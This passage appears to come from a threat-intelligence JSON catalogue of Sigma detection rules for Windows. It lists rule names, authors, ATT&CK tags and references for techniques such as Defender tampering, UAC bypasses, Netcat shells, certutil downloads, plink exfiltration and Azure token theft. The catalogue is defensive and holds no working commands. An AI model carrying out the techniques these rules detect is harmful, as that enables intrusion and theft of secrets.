        "author": "ok @securonix invrep-de, oscd.community, frack113",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice."
        ],
        "filename": "proc_creation_win_powershell_disable_defender_av_security_monitoring.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_defender_av_security_monitoring.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217",
      "value": "Disable Windows Defender AV Security Monitoring"
    },
    {
      "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/30",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_pua_defendercheck.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/matterpreter/DefenderCheck",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7",
      "value": "PUA - DefenderCheck Execution"
    },
    {
      "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_sharpview.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview",
          "https://github.com/tevora-threat/SharpView/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpview.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1049",
          "attack.t1069.002",
          "attack.t1482",
          "attack.t1135",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d",
      "value": "HackTool - SharpView Execution"
    },
    {
      "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/",
          "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf",
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658",
      "value": "UAC Bypass WSReset"
    },
    {
      "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_lolbin_device_credential_deployment.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/pull/147",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd",
      "value": "DeviceCredentialDeployment Execution"
    },
    {
      "description": "Detects the execution of WMIC to query information on a remote system",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_remote_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic",
          "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7773b877-5abb-4a3e-b9c9-fd0369b59b00",
      "value": "WMIC Remote Command Execution"
    },
    {
      "description": "Detects calls to base64 encoded WMI class such as \"Win32_Shadowcopy\", \"Win32_ScheduledJob\", etc.",
      "meta": {
        "author": "Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_base64_wmi_classes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_wmi_classes.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1816994b-42e1-4fb1-afd2-134d88184f71",
      "value": "PowerShell Base64 Encoded WMI Classes"
    },
    {
      "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.",
      "meta": {
        "author": "Nik Seetharaman, frack113",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Legitimate MWC use (unlikely in modern enterprise environments)"
        ],
        "filename": "proc_creation_win_lolbin_workflow_compiler.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb",
          "https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_workflow_compiler.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1127",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d",
      "value": "Microsoft Workflow Compiler Execution"
    },
    {
      "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_net_network_connections_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_network_connections_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1049"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81",
      "value": "System Network Connections Discovery Via Net.EXE"
    },
    {
      "description": "Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/21",
        "falsepositive": [
          "Legitimate ncat use"
        ],
        "filename": "proc_creation_win_pua_netcat.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md",
          "https://nmap.org/ncat/",
          "https://www.revshells.com/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_netcat.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1095"
        ]
      },
      "related": [
        {
          "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08",
      "value": "PUA - Netcat Suspicious Execution"
    },
    {
      "description": "Detects the execution of certutil with certain flags that allow the utility to download files.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certutil_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil",
          "https://forensicitguy.github.io/agenttesla-vba-certutil-download/",
          "https://twitter.com/egre55/status/1087685529016193025",
          "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
          "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "19b08b1c-861d-4e75-a1ef-ea0c1baf202b",
      "value": "Suspicious Download Via Certutil.EXE"
    },
    {
      "description": "Detects usage of the \"systeminfo\" command to retrieve information",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_systeminfo_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systeminfo_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
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      },
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          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
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      "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46",
      "value": "Suspicious Execution of Systeminfo"
    },
    {
      "description": "Detects execution of \"dsquery.exe\" for domain trust discovery",
      "meta": {
        "author": "E.M. Anhaus, Tony Lambert, oscd.community, omkar72",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate use of the utilities by legitimate user for legitimate reason"
        ],
        "filename": "proc_creation_win_dsquery_domain_trust_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb?gi=41b97a644843",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsquery_domain_trust_discovery.yml"
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      "uuid": "3bad990e-4848-4a78-9530-b427d854aac0",
      "value": "Domain Trust Discovery Via Dsquery"
    },
    {
      "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/12",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "proc_creation_win_susp_network_scan_loop.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/nt/for.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md",
          "https://ss64.com/ps/foreach-object.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_scan_loop.yml"
        ],
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          "attack.t1059",
          "attack.discovery",
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      "value": "Suspicious Scan Loop Network"
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      "description": "Detects password change for the logged-on user's via \"ksetup.exe\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_ksetup_password_change_user.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup",
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        ],
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      "value": "Logged-On User Password Change Via Ksetup.EXE"
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      "description": "Detects execution of javascript code using \"mshta.exe\".",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mshta_javascript.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_ruby_inline_command_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
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      "value": "Ruby Inline Command Execution"
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    {
      "description": "Execution of plink to perform data exfiltration and tunneling",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_plink_susp_tunneling.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_susp_tunneling.yml"
        ],
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          "attack.command_and_control",
          "attack.t1572"
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        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
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      "value": "Potential RDP Tunneling Via SSH Plink"
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      "description": "Detects the addition of a new LogonScript to the registry value \"UserInitMprLogonScript\" for potential persistence",
      "meta": {
        "author": "Tom Ueltschi (@c_APT_ure)",
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        "falsepositive": [
          "Legitimate addition of Logon Scripts via the command line by administrators or third party tools"
        ],
        "filename": "proc_creation_win_registry_logon_script.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html",
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        ],
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          "attack.persistence",
          "attack.t1037.001"
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      },
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          "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3",
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      "uuid": "21d856f9-9281-4ded-9377-51a1a6e2a432",
      "value": "Potential Persistence Via Logon Scripts - CommandLine"
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      "description": "Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_schtasks_delete.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete.yml"
        ],
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      "value": "Delete Important Scheduled Task"
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_obfuscated_ip_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/fr0s7_/status/1712780207105404948",
          "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608",
          "https://h.43z.one/ipconverter/",
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        ],
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        "falsepositive": [
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        "filename": "proc_creation_win_reg_defender_exclusion.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/threat-detection-report/threats/qbot/",
          "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml"
        ],
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      "meta": {
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        "creation_date": "2022/03/22",
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        ],
        "filename": "proc_creation_win_reg_windows_defender_tamper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/",
          "https://www.elevenforum.com/t/video-guide-how-to-completely-disable-microsoft-defender-antivirus.14608/page-2",
          "https://github.com/swagkarna/Defeat-Defender-V1.2.0",
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      "description": "Detects execution of LiveKD with the \"-m\" flag to potentially dump the kernel memory",
      "meta": {
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        ],
        "filename": "proc_creation_win_sysinternals_livekd_kernel_memory_dump.yml",
        "level": "high",
        "logsource.category": "process_creation",
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        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/livekd",
          "https://4sysops.com/archives/creating-a-complete-memory-dump-without-a-blue-screen/",
          "https://kb.acronis.com/content/60892",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/04",
        "falsepositive": [
          "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)"
        ],
        "filename": "proc_creation_win_wusa_cab_files_extraction.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html",
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      "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\", etc.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_susp_process_creation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker",
          "https://thedfirreport.com/2020/10/08/ryuks-return/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_susp_process_creation.yml"
        ],
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          "Unknown"
        ],
        "filename": "proc_creation_win_susp_recycle_bin_fake_execution.yml",
        "level": "high",
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        "refs": [
          "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets",
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        ],
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        "author": "Maxim Pavlunin",
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        ],
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          "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7",
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      "value": "Suspicious HH.EXE Execution"
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          "Unknown"
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        "filename": "proc_creation_win_webshell_tool_recon.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_ksetup_password_change_computer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Oddvarmoe/status/1641712700605513729",
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        "level": "high",
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          "https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/",
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      },
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      "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
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          "Unlikely"
        ],
        "filename": "proc_creation_win_lolbin_susp_certreq_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Certreq/",
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        ],
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          "attack.command_and_control",
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      "description": "Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "proc_creation_win_powershell_tamper_defender_remove_mppreference.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088",
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      "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)",
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        "author": "Max Altgelt (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_browsercore.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mariuszbit/status/1531631015139102720",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml"
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      "value": "Renamed BrowserCore.EXE Execution"
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      "meta": {
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        "creation_date": "2022/05/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_cl_mutexverifiers.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_mutexverifiers.yml"
        ],
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          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
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      "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d",
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        "author": "Markus Neis, @Karneades",
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          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_powersploit_empire_default_schtasks.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1",
          "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powersploit_empire_default_schtasks.yml"
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      "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f",
      "value": "HackTool - Default PowerSploit/Empire Scheduled Task Creation"
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      "meta": {
        "author": "frack113",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_tor_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_tor_execution.yml"
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unlikely"
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        "filename": "proc_creation_win_pua_seatbelt.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Seatbelt",
          "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml"
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          "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db",
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          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "filename": "proc_creation_win_hktl_inveigh.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_inveigh.yml"
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        "falsepositive": [
          "Unknown"
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        "filename": "proc_creation_win_uac_bypass_winsat.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml"
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        "author": "elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
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        "filename": "proc_creation_win_regsvr32_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.echotrail.io/insights/search/regsvr32.exe",
          "https://redcanary.com/blog/intelligence-insights-april-2022/",
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      "description": "Detects certain command line parameters often used during reconnaissance activity via web shells",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, Anton Kutepov, oscd.community",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_webshell_recon_commands_and_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html",
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        ],
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      "description": "Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.",
      "meta": {
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        "creation_date": "2022/01/25",
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          "Rare false positives could occur on servers with multiple drives."
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        "filename": "proc_creation_win_susp_lolbin_exec_from_non_c_drive.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/12/13/diavol-ransomware/",
          "https://www.scythe.io/library/threat-emulation-qakbot",
          "https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/",
